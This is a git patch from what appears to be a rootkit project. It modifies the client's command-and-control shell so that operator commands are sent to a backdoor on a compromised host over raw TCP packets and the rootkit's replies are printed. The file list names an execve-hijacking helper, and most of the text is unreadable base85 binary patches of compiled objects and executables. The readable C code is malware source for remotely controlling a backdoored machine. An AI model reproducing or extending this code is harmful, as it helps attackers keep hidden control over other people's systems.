From b68e01c057dfa05a105dde8baee01741b99c87cd Mon Sep 17 00:00:00 2001 From: h3xduck Date: Fri, 18 Feb 2022 03:32:07 -0500 Subject: [PATCH] Finished pseudo-connection between client and rootkit backdoor. Updated library to latest version. --- src/client/client.c | 17 ++++---- src/client/client.o | Bin 9344 -> 9664 bytes src/client/injector | Bin 37680 -> 41792 bytes src/client/lib/libRawTCP_Lib.a | Bin 51524 -> 51708 bytes src/common/c&c.h | 2 + src/helpers/execve_hijack | Bin 16440 -> 37488 bytes src/helpers/execve_hijack.c | 68 ++++++++++++++++++++++++++++++++ src/helpers/execve_hijack.o | Bin 2600 -> 4896 bytes src/helpers/lib/libRawTCP_Lib.a | Bin 51524 -> 51708 bytes 9 files changed, 80 insertions(+), 7 deletions(-) diff --git a/src/client/client.c b/src/client/client.c index 3186f1a..2bea0c6 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -156,24 +156,27 @@ void activate_command_control_shell(char* argv){ //Wait for rootkit ACK to ensure it's up rawsocket_sniff_pattern(CC_PROT_ACK); - printf("["KGRN"OK"RESET"]""Success!\n"); + printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n"); //Received ACK, we proceed to send command while(1){ char buf[BUFSIZ]; printf(""KYLW"c>:"RESET""); scanf("%s", buf); + + char msg[BUFSIZ]; + strcpy(msg, CC_PROT_MSG); + strcat(msg, buf); + packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg); + printf("Sending %s\n", msg); if(rawsocket_send(packet)<0){ printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); return; } - char msg[BUFSIZ]; - strcpy(msg, CC_PROT_MSG); - strcat(msg, buf); - printf("Sending %s\n", msg); - packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG); + printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); + packet = rawsocket_sniff_pattern(CC_PROT_MSG); char* res = packet.payload; - printf(""KYLW"c>:"RESET" %s\n", res); + printf("["KGRN"RESPONSE"RESET"] %s\n", res); } free(local_ip); diff --git a/src/client/client.o b/src/client/client.o index 9abdf7c769985952c9124dd08eb4714e365ead1a..6fd778d2b90a3d466ba5a90c596e8056db245382 100644 GIT binary patch delta 1670 zcmb_bO=uHA7~M>Mn$;vtn$~U1e`+CEORE7D#bAlSlxV9)JXloHB#LNE+xT}7j7roP z0@aU*=s^^OUc`p9QYy7AA{O<~-b9L3yjbX=coI?L%3{6%l@lamX>=pOH9~-B}@EiAyOrczM81tcgc4!iwA&Y~k zL%BB+S;$U_h?BhFJWp|T@Ax_#7!vVHJV6^5+3&EAK} zP=3XN?5-_oLxsZfLZt#J)w*ClD`|=s37M0c=8D7>2g`^{@utL)hM`=MbjRGF1d>Eh zQrjHZxH9_BeD!z9sS7*E;pId2!K}LB(0|B)6G{29V^Y2`a;a;Si>-gk2F*hRCGBQ# z@CKOB>dOkgRoTUHJ=PxIret^6+S8sq5;+%(CDQ2)u7N}>aq@g3?&=7HUB?GfNmp+) zb}F7q4RBcROUC@$NCDTJ<|2tR@snpxxSG?e;Gk}kGY~koH?q5l8XpKo_H}nff}%aq zl%ML_kg-LH&mS}xucLroqx2}tONO(E7g0?3z-+QHRW;BAzpC_Ox8BVQ|Q3+ zIP_bc(N;CNLXK16$BLg{6=|Gi@CF8dLve&L(tLtUc+4?+E#AvMKj5}iu+(To5hqu@ zr&T&A*#t{t6}yYFcEVn6sbYUp)<+_8ypXm|@`aPs?&&}_FDH}WdG-C^{s&jSW0KJ(P)iG0*hsZMho7mhEFuVk}>;e^&FDep}?f%H>+}Ux9!|*P@Ul>Jkqdc` zujaxta#9H|DKv3y3i`F7szuDQOZODNp!n;GPr|a+hHCiPUMrH1!7pvA{qi?mcIm(Q z{4_Kc)S|5quvTc2!ZUIjYlUYH=fYfo2tsN_Xx2zQmY&+0$ca`Tk3@g zeW|x|Xk>7BX-28fWn&1n zBj~Q^LYacpqlzwpp8&yH%_rdq_BUbJ>X_VDK(^yJEj}iEcJU&_>L@3wWS2X{VLQs? z7vgs{Kf-Ve!!PFPyrw#_9EZ2o@|L;0oDG_Di_xrNG?(-8Gcqk@thkF19oblZf2^c8BVUM z+8o1;48K7+naaWNyE)$R=QCWT<33=7bWFjMe+Z=+PQK(b=(kr!*vdDIB0E}!;pD2W zvc+&VUrR)>sXuUrPHcc#r&txpi~gX|Iw*IDd>BTt?|^_)M5lF7?0Ss~)RIh|~ n^w8}MBC`SJ@nh2g>-b?TgT1~Wk}9Cv7ZhSnr3*I(E|23kZKt}; diff --git a/src/client/injector b/src/client/injector index eb8969abe95f44acbaae4f2f357d6c2d560fc08d..20d20208a6c43f0b321ad19939cb3f138981891c 100755 GIT binary patch delta 8141 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 delta 7734 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 delta 615 zcmYjNUr3Wt9R2S7c6I+VrfO;ur6iV?9`kb6u$}_S65=S#ep0*b9YXtyOR1-F2fKT#`AN(=@`Sp z-f^{a=Cg*D38dK(5>zK=ztGBL$1aH+P$w^MkbV>0X$>)ZOnZ!(Xj?rqc$nz~lOA$5 zYGw5<=AZ!^Gah1wk4zq9dhz5GV`5W^8SgMcJFHYzAH;JEKFNn{!Y7q0c?QguYxJP0 z#vd2OAH-OzQ$p*SlgBKx*9K{eP_cT}vOODbuN5eLU1$izy!mvChsqd3^bLH*tR^9ryjaG$FdEkQU^5^`gY91+I*O f^+hf9QiPwnb;7^AudvqNOM@Ke&DZkr zJ5@VRa{|ucIFVm166A{Gust)?CEkIQ_{!*HoOH54YbsS5Qc8T;j=lLJN2Quiz{JPs zRKnKuN3tN5s(hooDj`R+q*X3~SE-qgY_o5H$lq6=nXZxb-XK%ON9H2FgOcx{Nb>@aa;zdFasli$q+am z{zqBp16lC(kVARagZyng`L$W__h!MDWYM!S3;oSm@S!aDzAX5OS@1`);Hj<0tM7&^ z_&2lQU&?~d$zq2av(Uev1-~~7{n-i^SU33E zpn}#BNp{8($#olhTEHeDe%{&@OGLC-FNC9(H?DmJerJX?eR!NqbwSZ=V@2f*DbCM&#IU?$2c83 zn^iGa3)eL@grQ}mBbrD?;!O>;U9p}>Q_H%p2+HW_j`heg!h&>MLNt$E{u?_ZjKjdI ze3jCStj@<$#Vy*~2L5y4G&Jthao^DAFs$cj7fW1mG>VAEq0N(UYGO2(Bvg~5;ZSjf z@|)@j0zWL{28GuoUbpy}f)B40d^D%*I%B1;A9fwwkGZzwBRgO4p!kg#CBPKk}nd%rZ;c0$V#|aaj>a31aCOnmG98!P6 z88)SJ6CMp?96l4?ZD0}an(!VIK48Mgn((D2{00-g%!J=;!qZ%=j_oG=B!xt} z!-O{nLpx3QDJJ^eCj40@{2mkjY!iO32_G=w_nGkLnDE0Uym=ltXu_XoqCaH9Pcz{^ zKK8gx${yV-zg06uxF#eiwxJ$dYE1EvA@ztS688 z4VVVhlgDfZ?B(#UKT!3h0TlH&U>Z14e*>lg6ZJP>8YoeJ1Ez@-^*3M|Fj0R4rhyXm zH((kdQGWxbff4mLV48qYe*>lg67@G=8W>T31Ev8H^*3M|2vL6nrU4N3H((n0P9FR9 z`>Or{4*x>I@Q%k9l6Nf8xPJgnVf(@icU$0y1zu}`n=NpI1rA!^g%)_O1)gDnr&-`B z7I=aM&bPqK0>6JnW_{na!2fN5->|?xv%o*Hz~8mN-?qTtu)trlz>iztFIeCQE%5yo zc+diGv%s4yaLNqN{O`K-%byCRUk~*kJ<-@yKggECgF}P)--Ba^1{Z!70QYhx!-3emPD<={J&jp@D_J1Taz# zKObqsVDJKa7qD$Dc#ZOj|JZtD(n&M;LU$goLVemo13A;Cb5X%lGl!q0A@VtjWJmr0 zaiR3KBj{bB!EGmyJWKdc`oPG;0MgrD#c%&N=yx>bevTMNJ_kS&6WuF9#0X*gzd?zn zD7y$Zu#IO8RF{PYw1N2}Z@vd)`rm=)rKW#OLjI1B5;M?nsx5SJ9#=TYMqWYIi_cqX zl;$dh(qB7-A}rNIE9}Q0G_rzZib_!tG17Ak)VLbkP6-ux0-{?5Rzr0UaQ#qW?X87U zvz?*A;%^fMs#3ur+o8~aPh_TFK)G!wcOMaqTn$0}T!KyHU%^dz``4a%5=MM>F=i#u zUuDqSpj~>~aR@!I?I?ap$Xitd{5;f(Vz!Y^p}{=+0H=C}nj)0`59oZ?AE_u}LQ#~M z=xv9*Pik9-Q%{i!nJhDACP3dd7;7Jk*8_agBLwVv-?Ofgo1$6 z@pj0EC?VoS${O6($csoF2@TxOsVK-8%zqnQ{_2{iX}w#Ao|=C7ndu07pRL9eLyANY zDj@jqQAjfSwO)uA{aPpgy@CI(;lCt$q#RKKNUOFDZ*=b?^sy_^KnJ+%LqqM@SpcE< z=Fs5WJ{o8sz7~-Jd|(5>k$?O>)gZV7ebEPQRE8&mbK{cOMy5({E2GT8xz_{x9LXIy zM)i~U{%=sW=H2?Q$bkq+JX4A|3#8kIQ)MV~8kJdrGKGfZOKr`j0oJH@zB4rw)bE%?Cs2hT-~jaNj`iRqs>7p#fk98jwRhBo{GNC>=Zz z>fdxiOO?O?*Fp7>2T?OIq&<%_F!m1z+S9?ey-x+-rUq)Dnx})OI6TmN3JwC7dzS1T zN`G(UUZ?|!r-a1$ByqVR@n+&3XgGmJJ@pKQc+iAozDP{Kg$6?y(}Tm$Q1}&s$szD@ zRfFs)zmu|Y?#KBK)3Dip-1l4nMU8AA z1;`cyL0@PPy$Q^jz3GMD!YrJ&UeHo`MC(I(DwFo}par(9{XjK3QD|TjRBk962u?=> zfGu^RE`18xglJTfTCNu?u;zi0n{aN@ay90w?c5%lcBavG4cpP8o0p^qZ--x}PqwF< z??e0ScYmo}nLzwqq1QJ@=r6_J|gG0j3`LGVCJS z{CnJ5n|vef5R?u+3dQ$8>&?)5`#|u~dej+W?!^!^u#L(meXk&%ba1c43^ebx_{6P{ z1!m|4aS#>UF5Bs8;ez{s#$Rx+YBfK{U3)6iBh#DSyK~cf*g(|oC_<-Pfu+fa4z>2d+@o({ItrEzG`}YzgfCHh(m+LsOPDP#9PFPF z_5I?cd90^_VJEN4rk!RBj?5gkT2O}`>EL7in;siYg;7Tz*25$JhGH;>4GRZ4GMa*U z<%C3ScR>0OH2$y-eXN7#_u$?DwrHtS?Bqc;3HuT>M;}4&-OESv6wV$)kb$FyS5=wu z0}!TzPxNnkLi46SN3|PVSV-D3uI)AoGO{RKVkj)A2JWZ01f^nHpowoA1uKYkHVEt? zV5zrmroQ`8D!GMg#mk^!h{i54jm@LbXyBt44pYEH$zPLpAKKO+9l?q~EMc%B`1T3K zZtjR?A3;#C!{R3gf_tb5tnTs?r~-F6_ANB0;WMvd*c|C2CA0g?XDJ}VxbqR}aqOXN zK9isteHfp434~Uk`8jF(GD#Rblh3?Pks??4qc__}sU*3#)Fjhq?5O>p<1;9H2X(Ax z-zFnr;YjmP15kX53jvF$)`j+ke6-;n1i-TpZwOb*{U0#>`L1>ymC4!7u7+M2!2B|j zP8~(&2wLtG(o^0it8=|i4yS|f3_6f~Rlj+}&b@Y@h*@{jf>?wL2Vso7;gK9g^mU3TS`Q5bzmAZ`MvW+m zf!cL(aNotjuZxI+3ZXIT!zu^TjKN{gao%EJx3pMQ`b4_r}CkXLPx>2Vy5dtF= z9f7Yd=2|qLYELh=OQyX3*S-BOHEwUDkXuUmKuQrZf0qIM(J0|)x-kcGk3;US-lE!( zTqPE|yr04MnuMSaCR|?DQ_ZioryC3Ce9Qsi#8v52aJ?fmJHQIZpQClk$Tg&TrWK?S zh(9#gn1l2%RwW{0(S^NFy-=O&B!U-UFj5wgB-UY2`BFpW#com^L?}^mzr-^wY6Vo^ zIuJZX#(!%fct%jN9h#1KpMw11kS%zszx$}Yf74N0-x2(3chFGGbI}D4j12#ZmIs{f ztrAjHE`A2JTZyWo5$ z`d_la`NpU2KUHne!lSP2f2kU7l#Mo!B3~l8`TZ{i&Oqoh6Z+0TsGAA(GZ5yO33JXs zXg3qu&p>E16T(9I{lRx^{hQu#dGGy4Od~r^Z&2Y2rh#MXvD3QDI0FYdB&}hnQ3rW+ zJk|}KAE9o|#}F(Co}2kY^ux1(OVdD!&d&QB#ta{CMz-BYXw~B&jfNCxB|BA0N_zqK zWx$zV9c-K~#qdD`J(L&5#bHRQ7UD8o{x8x67ryxy>w=^Yja3-Jj}J5-M|Dn&bwM#8 zE_S1(+AF+gZ>64r3qIBS`cKU@^@9sP89?y;iMsTUYntoQ@76Tcq~B`}4bG?sdUgGU z?^BdL()V9zgKxg?NS;0Or*c2PK7F!2{q~adn>C}wuZ8-bw}meIS?X7qTlG(_t+~Et zZOx}@!q2yll}Ve_&!cQgNhVPe{PFRz1wOXGpSFOFwt{ekBDf1Mus#;=Y75YPeSydZ z+~F4qbVhH)?SqlHRuk_?bw_%Vfoah|G!dAVaBG#x?%qm47Z!9{uIAQiYs0IrU7^)A zUe2ii*3>R1Y{TlS&eK*!S|ib0B5i@zt|*D?jwBK-9T7ZA0E(q`E412JPfrAQAI5q> zf?EgM0_!#g;*pzEkwkKgTOvde(7!g8g62K3WPsnF*piGua(67gG0+~12YM5cR9h_2 z8EL_7fV{qErcbu^23k8Ktv4l7-JJYS$R~O!ysqaK+{6eYcC~aQ0(37WKZ2`Pty~qL zyC9=I9f5eu`hd8>vm&r07T6d|1v*<`?RX3oz^#$DM7yFLk;IjnCioyGNqlXQL^KYI z2;tElDFkxKUI~<>=zH3TKG_)w^iumJ10W_y-d3tL3T&)BfV)0BlAVERZBQ2Nk&FeV zrQA{u?(#%qk)-jZXeK$m@mMm}8tWnlX^SM$gpoEk^5fKmk{!kM#Cm2VQoX&gIPy_f z!Bi1w>V#J%I*n%J_ULTsg~dQOEsA;EHpy|t5!7)K{*pf%9W6#AcHe8GqYIEeij*R= zCw?(H`X2Hhe0_AZ3vdim%sogqVq$y@=@&6ke+Owj;)ml%=OY^Sp$j~Kw2Ha{V(TWP z7b8s~jbMRtAJQ}ywfm61gDr|zkfGE*qM16dtghDHexri4e1f2Taiw} z-s+=Bk7FDATS$L^mEuvPt+-f`gT2B>kxoTQ*VDQvg$i`oZe69>Hu!9l@?823=t=m= z_}hDAbhMHPmbmyn>r|Z1!QYx!M@IwDM=S6xEht;&^{m%7YgbOZ{G!=Y&jptAUyro$ z=cq3sUTJP%0=)p z=vsRKZ5alML1X`fA)^ubVdO{6`8E9xdzh1O8A;GQ3Yv?}H0#Fl??e7qkbgN+qYTGP zu0#N+CxCwu3yi5`KV>JG zeverXDrc>*2eFZyC7`<%n^Q$*I)~e^dmHk*;l~dUgVNW2FE5Drw<7;2@^@t9-)-bS ziu@+{KixE8@W+Lo#Q!bi$B_SWM)?Pg@{b}vfd2BPncx0%Lw*kW$D7E{R{m7vUxWTN z+suEXD4%S%1o<0~AEErE1-{SN>k7*5bp#6ngE_&1>G!ZD1yy%BLk08uT~`%U_Y};p zDX6L`n7+6mu(+UXae;4ffzI#8z6Wx4Lk``Z_VMwt1wOXG#}@e50)HD8P|vxj=UQm0 